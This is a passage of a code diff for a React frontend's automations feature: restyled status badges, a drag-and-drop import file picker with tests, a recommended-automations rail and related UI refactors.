"border-[var(--oh-success)]/50 bg-[var(--oh-success)]/10 text-[var(--oh-success)]", + style: "bg-[var(--oh-success)]/10 text-[var(--oh-success)]", iconTone: "text-[var(--oh-success)]", }, [AutomationRunStatus.FAILED]: { label: I18nKey.AUTOMATIONS$DETAIL$FAILED, - style: "border-[var(--oh-danger)]/50 bg-[var(--oh-danger)]/10 text-danger", + style: "bg-[var(--oh-danger)]/10 text-danger", iconTone: "text-danger", }, [AutomationRunStatus.PENDING]: { label: I18nKey.AUTOMATIONS$DETAIL$PENDING, - style: "border-[var(--oh-border)] bg-surface-raised text-muted", + style: "bg-surface-raised text-muted", iconTone: "text-muted", }, [AutomationRunStatus.RUNNING]: { label: I18nKey.AUTOMATIONS$DETAIL$RUNNING, - style: "border-[var(--oh-border)] bg-surface-raised text-muted", + style: "bg-surface-raised text-muted", iconTone: "text-muted", }, [AutomationRunStatus.CANCELLED]: { label: I18nKey.AUTOMATIONS$DETAIL$CANCELLED, - style: "border-[var(--oh-border)] bg-surface-raised text-muted", + style: "bg-surface-raised text-muted", iconTone: "text-muted", }, [AutomationRunStatus.SKIPPED]: { label: I18nKey.AUTOMATIONS$DETAIL$SKIPPED, - style: "border-[var(--oh-border)] bg-surface-raised text-muted", + style: "bg-surface-raised text-muted", iconTone: "text-muted", }, }; @@ -147,10 +146,10 @@ export function RunStatusBadge({ return ( diff --git a/src/components/features/automations/empty-state.tsx b/src/components/features/automations/empty-state.tsx index a9850b34e0e2..66baaf78107e 100644 --- a/src/components/features/automations/empty-state.tsx +++ b/src/components/features/automations/empty-state.tsx @@ -2,6 +2,7 @@ import { useTranslation } from "react-i18next"; import { I18nKey } from "#/i18n/declaration"; import { extensionModuleEmptyStateClassName } from "#/utils/extension-module-card-classes"; import { CreateInstructions } from "./create-instructions"; +import { RecommendedAutomationsLauncher } from "./recommended-automations-launcher"; export function EmptyState() { const { t } = useTranslation("openhands"); @@ -12,13 +13,14 @@ export function EmptyState() { className={extensionModuleEmptyStateClassName} >

    {t(I18nKey.AUTOMATIONS$EMPTY)}

    -

    - {t(I18nKey.AUTOMATIONS$EMPTY_HINT)} -

    -
    +
    + +
    + +
    ); } diff --git a/src/components/features/automations/import-automation-modal.test.tsx b/src/components/features/automations/import-automation-modal.test.tsx index 205eccc042c0..15c74ee91fba 100644 --- a/src/components/features/automations/import-automation-modal.test.tsx +++ b/src/components/features/automations/import-automation-modal.test.tsx @@ -1,7 +1,9 @@ +import { fireEvent, render, screen } from "@testing-library/react"; import { renderToStaticMarkup } from "react-dom/server"; import { describe, expect, it, vi } from "vitest"; import type { AutomationSpec } from "#/types/automation"; import { I18nKey } from "#/i18n/declaration"; +import { AUTOMATION_FILE_FORMAT_DOCS_URL } from "#/manifests/automation-interface"; import { ImportAutomationModal } from "./import-automation-modal"; vi.mock("react-i18next", () => ({ @@ -34,6 +36,57 @@ const spec: AutomationSpec = { }; describe("ImportAutomationModal", () => { + it("explains import and offers a drop zone or file picker", () => { + render( + , + ); + + const modal = screen.getByTestId("import-automation-modal"); + expect(modal).toHaveAttribute("data-view", "picker"); + expect(modal).toHaveTextContent(I18nKey.AUTOMATIONS$IMPORT_EXPLAIN); + expect(modal).toHaveTextContent(I18nKey.AUTOMATIONS$IMPORT_DISABLED_NOTICE); + expect( + screen.getByTestId("import-automation-dropzone"), + ).toBeInTheDocument(); + expect( + screen.getByTestId("import-automation-choose-file"), + ).toBeInTheDocument(); + expect(screen.getByTestId("automations-import-file")).toBeInTheDocument(); + const docsLink = screen.getByTestId("import-automation-format-docs"); + expect(docsLink).toHaveAttribute("href", AUTOMATION_FILE_FORMAT_DOCS_URL); + expect(docsLink).toHaveTextContent(I18nKey.AUTOMATIONS$IMPORT_FORMAT_DOCS); + }); + + it("passes a dropped file to onFile", () => { + const onFile = vi.fn(); + render( + , + ); + + const file = new File(['{"name":"x"}'], "automation.json", { + type: "application/json", + }); + fireEvent.drop(screen.getByTestId("import-automation-dropzone"), { + dataTransfer: { files: [file] }, + }); + + expect(onFile).toHaveBeenCalledWith(file); + }); + it("previews the parsed automation before import", () => { const markup = renderToStaticMarkup( { isImporting={false} onClose={vi.fn()} onImport={vi.fn()} + onFile={vi.fn()} />, ); expect(markup).toContain('data-testid="import-automation-modal"'); + expect(markup).toContain('data-view="preview"'); expect(markup).toContain(spec.name); expect(markup).toContain("github: pull_request.opened"); expect(markup).toContain(spec.prompt!); @@ -54,14 +109,15 @@ describe("ImportAutomationModal", () => { expect(markup).toContain('data-testid="import-automation-confirm"'); }); - it("does not render without a parsed spec", () => { + it("does not render when closed", () => { const markup = renderToStaticMarkup( , ); diff --git a/src/components/features/automations/import-automation-modal.tsx b/src/components/features/automations/import-automation-modal.tsx index 50232ffd91be..12357cc327ed 100644 --- a/src/components/features/automations/import-automation-modal.tsx +++ b/src/components/features/automations/import-automation-modal.tsx @@ -1,5 +1,8 @@ +import { useRef, useState, type DragEvent } from "react"; +import { FileUp } from "lucide-react"; import { useTranslation } from "react-i18next"; import { I18nKey } from "#/i18n/declaration"; +import { AUTOMATION_FILE_FORMAT_DOCS_URL } from "#/manifests/automation-interface"; import type { AutomationSpec } from "#/types/automation"; import { formatEventOn } from "#/utils/automation-schedule"; import { cn } from "#/utils/utils"; @@ -14,6 +17,7 @@ interface ImportAutomationModalProps { isImporting: boolean; onClose: () => void; onImport: () => void; + onFile: (file: File) => void; } function PreviewField({ label, value }: { label: string; value: string }) { @@ -29,19 +33,120 @@ function PreviewField({ label, value }: { label: string; value: string }) { ); } +function takeDroppedFile(event: DragEvent): File | null { + const files = event.dataTransfer?.files; + return files && files.length > 0 ? files[0]! : null; +} + +function ImportAutomationPicker({ onFile }: { onFile: (file: File) => void }) { + const { t } = useTranslation("openhands"); + const inputRef = useRef(null); + const [isDragging, setIsDragging] = useState(false); + + const openFinder = () => inputRef.current?.click(); + + return ( +
    +

    + {t(I18nKey.AUTOMATIONS$IMPORT_EXPLAIN)}{" "} + + {t(I18nKey.AUTOMATIONS$IMPORT_FORMAT_DOCS)} + +

    +

    + {t(I18nKey.AUTOMATIONS$IMPORT_DISABLED_NOTICE)} +

    + + { + const input = inputRef.current; + const file = input?.files?.[0]; + if (input) { + input.value = ""; + } + if (file) onFile(file); + }} + /> + +
    { + event.preventDefault(); + setIsDragging(true); + }} + onDragOver={(event) => { + event.preventDefault(); + setIsDragging(true); + }} + onDragLeave={(event) => { + if (event.currentTarget.contains(event.relatedTarget as Node)) { + return; + } + setIsDragging(false); + }} + onDrop={(event) => { + event.preventDefault(); + setIsDragging(false); + const file = takeDroppedFile(event); + if (file) onFile(file); + }} + className={cn( + "flex cursor-pointer flex-col items-center justify-center gap-3 rounded-xl border border-dashed px-6 py-10 text-center", + isDragging + ? "border-[var(--oh-focus)] bg-[var(--oh-interactive-hover)]" + : "border-[var(--oh-border)] bg-[var(--oh-surface)]", + )} + > + +

    + {t(I18nKey.AUTOMATIONS$IMPORT_DROPZONE)} +

    +

    + {t(I18nKey.AUTOMATIONS$IMPORT_OR)} +

    + { + event?.stopPropagation(); + openFinder(); + }} + > + {t(I18nKey.AUTOMATIONS$IMPORT_CHOOSE_FILE)} + +
    +
    + ); +} + export function ImportAutomationModal({ isOpen, spec, isImporting, onClose, onImport, + onFile, }: ImportAutomationModalProps) { const { t } = useTranslation("openhands"); - if (!isOpen || !spec) return null; + if (!isOpen) return null; - const trigger = - spec.trigger.type === "event" + const trigger = spec + ? spec.trigger.type === "event" ? [spec.trigger.source, formatEventOn(spec.trigger.on)] .filter(Boolean) .join(": ") @@ -50,7 +155,8 @@ export function ImportAutomationModal({ spec.timezone ?? spec.trigger.timezone, ] .filter(Boolean) - .join(" · "); + .join(" · ") + : ""; return (
    {t(I18nKey.AUTOMATIONS$IMPORT)}

    -

    - {t(I18nKey.AUTOMATIONS$IMPORT_PREVIEW_DESCRIPTION)} -

    + {spec ? ( +

    + {t(I18nKey.AUTOMATIONS$IMPORT_PREVIEW_DESCRIPTION)} +

    + ) : null} -
    - - - - {spec.plugins && spec.plugins.length > 0 ? ( - - ) : null} -
    + {spec ? ( + <> +
    + + + + {spec.plugins && spec.plugins.length > 0 ? ( + + ) : null} +
    -
    -

    - {t(I18nKey.AUTOMATIONS$IMPORT_DISABLED_NOTICE)} -

    -
    - - {t(I18nKey.AUTOMATIONS$CANCEL)} - - - {isImporting - ? t(I18nKey.AUTOMATIONS$IMPORTING) - : t(I18nKey.AUTOMATIONS$IMPORT)} - -
    -
    +
    +

    + {t(I18nKey.AUTOMATIONS$IMPORT_DISABLED_NOTICE)} +

    +
    + + {t(I18nKey.AUTOMATIONS$CANCEL)} + + + {isImporting + ? t(I18nKey.AUTOMATIONS$IMPORTING) + : t(I18nKey.AUTOMATIONS$IMPORT)} + +
    +
    + + ) : ( + + )}
    ); diff --git a/src/components/features/automations/kebab-menu.tsx b/src/components/features/automations/kebab-menu.tsx index 9a5e29c1e5d8..a9f015b75675 100644 --- a/src/components/features/automations/kebab-menu.tsx +++ b/src/components/features/automations/kebab-menu.tsx @@ -5,6 +5,7 @@ import KebabVerticalIcon from "#/icons/kebab-vertical.svg?react"; import { ContextMenuListItem } from "#/components/features/context-menu/context-menu-list-item"; import { I18nKey } from "#/i18n/declaration"; import { ContextMenu } from "#/ui/context-menu"; +import { cn } from "#/utils/utils"; import { automationIconActionButtonClassName } from "./automation-action-button-classes"; import { KebabMenuItemContent } from "./kebab-menu-item-content"; @@ -17,9 +18,10 @@ export interface KebabMenuItem { interface KebabMenuProps { items: KebabMenuItem[]; + triggerClassName?: string; } -export function KebabMenu({ items }: KebabMenuProps) { +export function KebabMenu({ items, triggerClassName }: KebabMenuProps) { const { t } = useTranslation("openhands"); const [open, setOpen] = useState(false); const [portalStyle, setPortalStyle] = useState(); @@ -109,7 +111,7 @@ export function KebabMenu({ items }: KebabMenuProps) { e.stopPropagation(); setOpen((current) => !current); }} - className={automationIconActionButtonClassName} + className={cn(automationIconActionButtonClassName, triggerClassName)} aria-label={t(I18nKey.AUTOMATIONS$ACTIONS_MENU)} aria-expanded={open} aria-haspopup="menu" diff --git a/src/components/features/automations/recommended-automations-launcher.tsx b/src/components/features/automations/recommended-automations-launcher.tsx index 57f753dbfb28..c5e75dc1cc5f 100644 --- a/src/components/features/automations/recommended-automations-launcher.tsx +++ b/src/components/features/automations/recommended-automations-launcher.tsx @@ -24,13 +24,18 @@ import { } from "#/utils/mcp-marketplace-utils"; import { InstallServerModal } from "#/components/features/mcp-page/install-server-modal"; import { useTracking } from "#/hooks/use-tracking"; -import { automationSetupPath } from "#/manifests/automation-interface"; +import { + automationSetupPath, + hasAutomationInterface, +} from "#/manifests/automation-interface"; import { SETUP_REGISTRY } from "#/manifests/manifest-sources"; import { getAutomationLaunchPrompt, getRequiredIntegrationIds, } from "#/utils/automation-catalog"; import { isResponderAutomation } from "#/utils/responder-deployment"; +import { useAutomations } from "#/hooks/query/use-automations"; +import { RecommendedAutomationsRail } from "./recommended-automations-rail"; import { RecommendedAutomationsSection } from "./recommended-automations-section"; import { ResponderDeploymentModal } from "./responder-deployment-modal"; @@ -39,6 +44,12 @@ interface RecommendedAutomationsLauncherProps { onLaunched?: () => void; /** When true, only the automation card grid scrolls inside its section. */ scrollableGrid?: boolean; + /** + * Compact discovery rail for New Chat and the automations dashboard. + * The templates page keeps the full catalog section. + */ + variant?: "catalog" | "rail"; + className?: string; } /** @@ -62,6 +73,8 @@ export function RecommendedAutomationsLauncher({ query, onLaunched, scrollableGrid = false, + variant = "catalog", + className, }: RecommendedAutomationsLauncherProps) { const activeBackend = useActiveBackend(); const { navigate } = useNavigation(); @@ -83,6 +96,11 @@ export function RecommendedAutomationsLauncher({ const localSetupInFlightRef = useRef(false); const [isPreparingLocalResponder, setIsPreparingLocalResponder] = useState(false); + const isRail = variant === "rail"; + const { data: automationsData, isLoading: isAutomationsLoading } = + useAutomations({ + enabled: isRail && activeBackend.backend.kind === "local", + }); const installedMcpConfig = useMemo( () => @@ -251,19 +269,33 @@ export function RecommendedAutomationsLauncher({ const installEntry = installQueue[0] ?? null; + // Like every automation surface, the launcher renders only behind the + // interface-manifest gate; New Chat mounts it outside the gated routes. + if (!hasAutomationInterface()) return null; + // Recommended automations are a local-backend-only feature; cloud // automations are managed elsewhere. if (activeBackend.backend.kind === "cloud") return null; + if (isRail && isAutomationsLoading) return null; + return ( <> - + {isRail ? ( + + ) : ( + + )} {installEntry && ( []; + onSelect: (automation: RecommendedAutomation) => void; + className?: string; +} + +/** Current catalog tiles reserve 40px for the icon; keep that row height. */ +const RAIL_ICON_ROW_CLASS_NAME = "flex h-10 items-start"; + +function integrationEntries( + automation: RecommendedAutomation, +): MarketplaceEntry[] { + return getIntegrationIds(automation).flatMap((id) => { + const entry = getMarketplaceEntryById(id, MCP_MARKETPLACE); + return entry ? [entry] : []; + }); +} + +function RailIntegrationIcons({ + entries, + testId, +}: { + entries: MarketplaceEntry[]; + testId: string; +}) { + const visibleEntries = entries.slice(0, 4); + const isOverlap = visibleEntries.length > 1; + + return ( + + ); +} + +export function RecommendedAutomationsRail({ + installedAutomations, + onSelect, + className, +}: RecommendedAutomationsRailProps) { + const { t } = useTranslation("openhands"); + const items = flattenRecommendedRailGroups( + getRecommendedRailGroups(installedAutomations), + ); + const scrollRef = useRef(null); + const [fadeState, setFadeState] = useState({ left: false, right: false }); + + const updateFadeState = useCallback(() => { + const element = scrollRef.current; + if (!element) return; + const next = readScrollFadeState(element); + setFadeState((current) => + current.left === next.left && current.right === next.right + ? current + : next, + ); + }, []); + + const itemIds = items.map((item) => item.id).join(","); + + useLayoutEffect(() => { + updateFadeState(); + + const element = scrollRef.current; + if (!element) return undefined; + + const resizeObserver = new ResizeObserver(updateFadeState); + resizeObserver.observe(element); + Array.from(element.children).forEach((child) => { + resizeObserver.observe(child); + }); + + return () => resizeObserver.disconnect(); + }, [updateFadeState, itemIds]); + + if (items.length === 0) return null; + + return ( +
    +

    + {t(I18nKey.RECOMMENDED_AUTOMATIONS$SECTION_LABEL)} +

    + +
    +
    + {items.map((automation) => ( +
    + +
    + ))} +
    +
    +
    +
    +
    + ); +} diff --git a/src/components/features/automations/recommended-automations-section.tsx b/src/components/features/automations/recommended-automations-section.tsx index 0fbc6b26422d..a5a6e4f2e5d2 100644 --- a/src/components/features/automations/recommended-automations-section.tsx +++ b/src/components/features/automations/recommended-automations-section.tsx @@ -27,12 +27,14 @@ import { getAutomationLaunchPrompt, getIntegrationIds, } from "#/utils/automation-catalog"; +import { getAutomationsByPopularity } from "#/utils/recommended-automation-rail"; import { cn } from "#/utils/utils"; import { extensionModuleCardInteractiveClassName, extensionModuleCardGridClassName, extensionModuleCardGridContainerClassName, extensionModuleCardPillClassName, + extensionModuleCardSurfaceClassName, } from "#/utils/extension-module-card-classes"; import { StatusBadge } from "./status-badge"; @@ -45,18 +47,7 @@ interface RecommendedAutomationsSectionProps { scrollableGrid?: boolean; } -export function getAutomationsByPopularity( - catalog: RecommendedAutomation[], -): RecommendedAutomation[] { - return catalog - .map((automation, index) => ({ automation, index })) - .sort((a, b) => { - const byPopularity = - (b.automation.popularityRank ?? 0) - (a.automation.popularityRank ?? 0); - return byPopularity || a.index - b.index; - }) - .map(({ automation }) => automation); -} +export { getAutomationsByPopularity }; const RECOMMENDED_AUTOMATIONS = getAutomationsByPopularity(AUTOMATION_CATALOG); @@ -220,7 +211,8 @@ function AutomationCardGrid({ data-testid={`recommended-automation-card-${automation.id}`} onClick={() => onSelect(automation)} className={cn( - "flex min-w-0 overflow-hidden p-4 text-left rounded-xl bg-surface-raised", + "flex min-w-0 overflow-hidden p-4 text-left", + extensionModuleCardSurfaceClassName, extensionModuleCardInteractiveClassName, )} > diff --git a/src/components/features/automations/to-latest-run-state.ts b/src/components/features/automations/to-latest-run-state.ts new file mode 100644 index 000000000000..68d41e26cf5a --- /dev/null +++ b/src/components/features/automations/to-latest-run-state.ts @@ -0,0 +1,47 @@ +import type { LatestAutomationRunState } from "#/hooks/query/use-latest-automation-runs"; +import { + summarizeAutomationRuns, + type RunSummaryState, +} from "#/manifests/automation-insights"; + +const EMPTY_RUN_STATE: LatestAutomationRunState = { + latestRun: null, + recentRuns: [], + isLoading: false, + isError: false, +}; + +/** Maps dashboard run-summary query state onto the home card/row run shape. */ +export function toLatestRunState( + state: RunSummaryState | undefined, +): LatestAutomationRunState { + if (!state) return EMPTY_RUN_STATE; + return { + latestRun: state.summary?.latestRun ?? null, + recentRuns: state.summary?.recentRuns ?? [], + total: state.summary?.total, + isLoading: state.isLoading, + isError: state.isError, + }; +} + +/** Maps home run state onto the dashboard stats footer shape. */ +export function toRunSummaryState( + state: LatestAutomationRunState, +): RunSummaryState { + if (state.recentRuns.length === 0 && (state.isLoading || state.isError)) { + return { + summary: null, + isLoading: state.isLoading, + isError: state.isError, + }; + } + return { + summary: summarizeAutomationRuns({ + runs: state.recentRuns, + total: state.total ?? state.recentRuns.length, + }), + isLoading: state.isLoading, + isError: state.isError, + }; +} diff --git a/src/components/features/home/featured-automations/pinned-automation-card.tsx b/src/components/features/home/featured-automations/pinned-automation-card.tsx index 34dcb52864fb..2090335f7eb7 100644 --- a/src/components/features/home/featured-automations/pinned-automation-card.tsx +++ b/src/components/features/home/featured-automations/pinned-automation-card.tsx @@ -1,30 +1,34 @@ import { Tooltip } from "@heroui/react"; -import { ExternalLink, Zap } from "lucide-react"; -import { useRef } from "react"; +import { ExternalLink } from "lucide-react"; +import { useMemo, useRef } from "react"; import { useTranslation } from "react-i18next"; +import { buildAutomationMetadataPills } from "#/components/features/automations/build-automation-pills"; import { EditAutomationModal } from "#/components/features/automations/detail/edit-automation-modal"; import { RunStatusBadge } from "#/components/features/automations/detail/run-status-badge"; +import { AutomationRunStats } from "#/components/features/automations/automation-run-insights"; +import { toRunSummaryState } from "#/components/features/automations/to-latest-run-state"; import { TurnOffConfirmationModal } from "#/components/features/automations/turn-off-confirmation-modal"; +import { getDashboardSpec } from "#/manifests/automation-interface"; +import { SkillCardPillRow } from "#/components/features/skills/skill-card-pill-row"; import { NavigationLink } from "#/components/shared/navigation-link"; import type { LatestAutomationRunState } from "#/hooks/query/use-latest-automation-runs"; import { useHomeAutomationActions } from "#/hooks/use-home-automation-actions"; import { getDemoConversationTitle } from "#/fixtures/home-automations-demo"; import { useUserConversation } from "#/hooks/query/use-user-conversation"; import { I18nKey } from "#/i18n/declaration"; -import ClockIcon from "#/icons/clock.svg?react"; import { AutomationRunStatus, type Automation } from "#/types/automation"; -import { extensionModuleCardPillClassName } from "#/utils/extension-module-card-classes"; import { formatRelativeTime } from "#/utils/format-relative-time"; import { cn } from "#/utils/utils"; +import { automationCardStatusStripClassName } from "#/components/features/automations/automation-view-mode"; +import { + extensionModuleCardInteractiveClassName, + extensionModuleCardSurfaceClassName, +} from "#/utils/extension-module-card-classes"; import { AutomationRunActivitySparkline } from "./automation-run-activity-sparkline"; import { buildPinnedAutomationMenuItems } from "./build-pinned-automation-menu-items"; import { HomeAutomationMenu } from "./home-automation-menu"; import { - formatTriggerSourceLabel, getLastRunTimestamp, - getTriggerEventLabel, - getTriggerScheduleLabel, - getTriggerSource, shortenAutomationErrorDetail, shouldShowAutomationErrorHovercard, } from "./automation-run-health"; @@ -43,9 +47,9 @@ interface PinnedAutomationCardProps { } /** - * Expanded pinned-automation card: status badge, trigger meta, - * loading/empty/error copy, failure detail, and conversation title link. - * Quick actions + unpin live in the card's three-dot menu. + * Home pinned card. Shares the Automations dashboard tile chrome (surface, + * header, pills, status strip) and keeps pin-only extras: drag-to-reorder, + * conversation title, and unpin. */ export function PinnedAutomationCard({ automation, @@ -78,11 +82,12 @@ export function PinnedAutomationCard({ const isTerminal = latestRun?.status === AutomationRunStatus.COMPLETED || latestRun?.status === AutomationRunStatus.FAILED; - const isEventTrigger = automation.trigger.type === "event"; - const TriggerIcon = isEventTrigger ? Zap : ClockIcon; - const triggerEventLabel = getTriggerEventLabel(automation); - const triggerScheduleLabel = getTriggerScheduleLabel(automation); - const triggerSource = getTriggerSource(automation); + const scheduleLabel = + automation.trigger.schedule_human || automation.trigger.type; + const pills = useMemo( + () => buildAutomationMetadataPills(automation, scheduleLabel), + [automation, scheduleLabel], + ); const errorDetail = latestRun?.status === AutomationRunStatus.FAILED ? latestRun.error_detail?.trim() || null @@ -96,6 +101,7 @@ export function PinnedAutomationCard({ shouldShowAutomationErrorHovercard(errorDetail, shortErrorDetail); const disableAnimation = import.meta.env.MODE === "test"; const cardRef = useRef(null); + const insights = getDashboardSpec()?.insights; const menuItems = buildPinnedAutomationMenuItems({ automation, @@ -143,7 +149,9 @@ export function PinnedAutomationCard({ }} onDragEnd={onDragEnd} className={cn( - "group relative flex flex-col rounded-xl border border-[var(--oh-border)] bg-[var(--oh-surface-raised)] p-4", + "group relative flex min-w-0 flex-col overflow-hidden p-4 text-left", + extensionModuleCardSurfaceClassName, + extensionModuleCardInteractiveClassName, isDragging && "opacity-50", isDropTarget && dropPosition === "before" && @@ -154,92 +162,95 @@ export function PinnedAutomationCard({ )} > {/* - Full top chrome (padding above the title + title row) is the drag - surface. Title is not an so browsers don't steal the gesture; - click still opens details. Menu is opted out via data-no-drag. + Top padding + title row is the drag surface. Title is not an so + browsers don't steal the gesture; click still opens details. The + menu is opted out via data-no-drag. */} -
    { - const target = event.target as HTMLElement | null; - if (target?.closest("[data-no-drag]")) { - event.preventDefault(); - return; - } - const { dataTransfer } = event; - dataTransfer.effectAllowed = "move"; - dataTransfer.setData("text/plain", automation.id); - if (cardRef.current) { - dataTransfer.setDragImage(cardRef.current, 24, 24); - } - onDragStart(automation.id); - }} - onDragEnd={onDragEnd} - > - actions.viewDetails()} - onKeyDown={(event) => { - if (event.key === "Enter" || event.key === " ") { +
    +
    { + const target = event.target as HTMLElement | null; + if (target?.closest("[data-no-drag]")) { event.preventDefault(); - actions.viewDetails(); + return; + } + const { dataTransfer } = event; + dataTransfer.effectAllowed = "move"; + dataTransfer.setData("text/plain", automation.id); + if (cardRef.current) { + dataTransfer.setDragImage(cardRef.current, 24, 24); } + onDragStart(automation.id); }} + onDragEnd={onDragEnd} > - {automation.name} - + actions.viewDetails()} + onKeyDown={(event) => { + if (event.key === "Enter" || event.key === " ") { + event.preventDefault(); + actions.viewDetails(); + } + }} + > + {automation.name} + -
    - +
    + +
    -
    + {automation.prompt ? ( +

    + {automation.prompt} +

    + ) : null} +
    -
    - -
    + ) : null} -
    +
    {isLoading ? (
    + {insights ? ( +
    + +
    + ) : null} + {actions.editOpen ? (

    {t(I18nKey.FEATURED_AUTOMATIONS$PINNED_TITLE)} diff --git a/src/components/features/home/featured-automations/running-automations-list.tsx b/src/components/features/home/featured-automations/running-automations-list.tsx index 23652ba55600..5059ae94f993 100644 --- a/src/components/features/home/featured-automations/running-automations-list.tsx +++ b/src/components/features/home/featured-automations/running-automations-list.tsx @@ -32,6 +32,10 @@ import { getTriggerScheduleLabel, getTriggerSource, } from "./automation-run-health"; +import { + automationActivityListClassName, + automationActivityRowClassName, +} from "#/components/features/automations/automation-view-mode"; import { buildHomeAutomationActivityItems, hrefForActivityItem, @@ -93,7 +97,7 @@ function RunningAutomationRow({ return (
  • {visibleItems.map((item) => { const automation = automationById.get(item.id); diff --git a/src/components/features/home/home-chat-launcher.tsx b/src/components/features/home/home-chat-launcher.tsx index 2c7496f7b227..2fb04b4fb289 100644 --- a/src/components/features/home/home-chat-launcher.tsx +++ b/src/components/features/home/home-chat-launcher.tsx @@ -28,6 +28,7 @@ import { getWorkspacesUnsupportedMessage } from "#/utils/workspaces-compatibilit import type { PluginSpec } from "#/api/conversation-service/agent-server-conversation-service.types"; import { PluginPickerModal } from "#/components/features/plugins/plugin-picker-modal"; import { PluginPickerTrigger } from "#/components/features/plugins/plugin-picker-trigger"; +import { RecommendedAutomationsLauncher } from "#/components/features/automations/recommended-automations-launcher"; import { PinnedAutomationsDashboard } from "./featured-automations/pinned-automations-dashboard"; import { RunningAutomationsList } from "./featured-automations/running-automations-list"; import { HomeHeaderTitle } from "./home-header/home-header-title"; @@ -262,6 +263,7 @@ export function HomeChatLauncher() {

    +
    diff --git a/src/components/features/manifest/manifest-icons.ts b/src/components/features/manifest/manifest-icons.ts index 1422f65b04a6..2b146e5b604c 100644 --- a/src/components/features/manifest/manifest-icons.ts +++ b/src/components/features/manifest/manifest-icons.ts @@ -3,6 +3,7 @@ import { Bot, CircleAlert, LayoutDashboard, + Library, Sparkles, Timer, type LucideIcon, @@ -17,6 +18,7 @@ import type { InterfaceIconSlug } from "#/manifests/types"; export const MANIFEST_ICON_BY_SLUG = { "layout-dashboard": LayoutDashboard, sparkles: Sparkles, + library: Library, bot: Bot, "circle-alert": CircleAlert, activity: Activity, diff --git a/src/components/features/markdown/markdown-table-scroll.tsx b/src/components/features/markdown/markdown-table-scroll.tsx index 44a527ae1cfc..a33411e2e8af 100644 --- a/src/components/features/markdown/markdown-table-scroll.tsx +++ b/src/components/features/markdown/markdown-table-scroll.tsx @@ -1,29 +1,18 @@ import React from "react"; import { cn } from "#/utils/utils"; +import { + readScrollFadeState, + type ScrollFadeState, +} from "#/utils/scroll-fade-state"; + +export { readScrollFadeState }; -const SCROLL_EDGE_THRESHOLD_PX = 1; const FADE_WIDTH_CLASS = "w-10"; interface MarkdownTableScrollProps { children: React.ReactNode; } -interface ScrollFadeState { - left: boolean; - right: boolean; -} - -export function readScrollFadeState(element: HTMLDivElement): ScrollFadeState { - const { scrollLeft, scrollWidth, clientWidth } = element; - const maxScroll = scrollWidth - clientWidth; - const hasOverflow = maxScroll > SCROLL_EDGE_THRESHOLD_PX; - - return { - left: hasOverflow && scrollLeft > SCROLL_EDGE_THRESHOLD_PX, - right: hasOverflow && scrollLeft < maxScroll - SCROLL_EDGE_THRESHOLD_PX, - }; -} - export function MarkdownTableScroll({ children }: MarkdownTableScrollProps) { const scrollRef = React.useRef(null); const [fadeState, setFadeState] = React.useState({ diff --git a/src/components/features/mcp-logo-badge.tsx b/src/components/features/mcp-logo-badge.tsx index 3fa4b45d52d5..302fa54c38ee 100644 --- a/src/components/features/mcp-logo-badge.tsx +++ b/src/components/features/mcp-logo-badge.tsx @@ -13,7 +13,7 @@ export type { McpLogoEntry }; interface McpLogoBadgeProps { entry?: McpLogoEntry | null; - size?: "xs" | "sm" | "md"; + size?: "xs" | "sm" | "base" | "md"; className?: string; fallback?: ReactNode; testId?: string; @@ -22,6 +22,7 @@ interface McpLogoBadgeProps { const sizeClassNames = { xs: "h-4 w-4 rounded [&>svg]:h-2.5 [&>svg]:w-2.5", sm: "h-5 w-5 rounded-md [&>svg]:h-3 [&>svg]:w-3", + base: "h-7 w-7 rounded-lg [&>svg]:h-3.5 [&>svg]:w-3.5", md: "h-10 w-10 rounded-lg [&>svg]:h-5 [&>svg]:w-5", }; diff --git a/src/components/features/settings/brand-button.tsx b/src/components/features/settings/brand-button.tsx index 70abdf6c4eb9..ec5a4550b661 100644 --- a/src/components/features/settings/brand-button.tsx +++ b/src/components/features/settings/brand-button.tsx @@ -15,6 +15,8 @@ interface BrandButtonProps { ariaLabel?: string; /** Indicates busy/loading state for screen readers */ "aria-busy"?: boolean; + "aria-haspopup"?: React.AriaAttributes["aria-haspopup"]; + "aria-expanded"?: boolean; } export const BrandButton = forwardRef< @@ -33,6 +35,8 @@ export const BrandButton = forwardRef< startContent, ariaLabel, "aria-busy": ariaBusy, + "aria-haspopup": ariaHasPopup, + "aria-expanded": ariaExpanded, }, ref, ) { @@ -48,6 +52,8 @@ export const BrandButton = forwardRef< onClick={onClick} aria-label={ariaLabel} aria-busy={ariaBusy} + aria-haspopup={ariaHasPopup} + aria-expanded={ariaExpanded} className={cn( formControlButtonClassName, variant === "primary" && diff --git a/src/components/features/skills/skill-card-pill-row.tsx b/src/components/features/skills/skill-card-pill-row.tsx index a1bb3a83b8d0..7a3841b66de7 100644 --- a/src/components/features/skills/skill-card-pill-row.tsx +++ b/src/components/features/skills/skill-card-pill-row.tsx @@ -1,4 +1,5 @@ import React from "react"; +import { createPortal } from "react-dom"; import { useTranslation } from "react-i18next"; import { I18nKey } from "#/i18n/declaration"; import { cn } from "#/utils/utils"; @@ -9,6 +10,24 @@ export const SKILL_CARD_PILL_CLASS = extensionModuleCardPillClassName; const PILL_GAP_PX = 6; const OVERFLOW_PILL_WIDTH_PX = 40; +const OVERFLOW_POPOVER_GUTTER_PX = 8; +const OVERFLOW_POPOVER_OFFSET_PX = 4; + +function placePopoverByTrigger( + trigger: DOMRect, + popoverWidth: number, +): { top: number; left: number } { + const maxLeft = window.innerWidth - OVERFLOW_POPOVER_GUTTER_PX - popoverWidth; + let left = trigger.left; + if (left > maxLeft) { + left = trigger.right - popoverWidth; + } + left = Math.min( + Math.max(OVERFLOW_POPOVER_GUTTER_PX, left), + Math.max(OVERFLOW_POPOVER_GUTTER_PX, maxLeft), + ); + return { top: trigger.bottom + OVERFLOW_POPOVER_OFFSET_PX, left }; +} export interface SkillCardPill { id: string; @@ -44,7 +63,14 @@ export function SkillCardPillRow({ pills, testId }: SkillCardPillRowProps) { const { t } = useTranslation("openhands"); const containerRef = React.useRef(null); const measureRef = React.useRef(null); + const triggerRef = React.useRef(null); + const popoverRef = React.useRef(null); const [visibleCount, setVisibleCount] = React.useState(pills.length); + const [isOverflowOpen, setIsOverflowOpen] = React.useState(false); + const [popoverBox, setPopoverBox] = React.useState<{ + top: number; + left: number; + } | null>(null); const recomputeVisibleCount = React.useCallback(() => { const container = containerRef.current; @@ -57,9 +83,19 @@ export function SkillCardPillRow({ pills, testId }: SkillCardPillRowProps) { setVisibleCount(computeVisiblePillCount(widths, container.clientWidth)); }, []); + // Recommended cards rebuild the pills array every render; compare ids so an + // open +N popover is not slammed shut under the 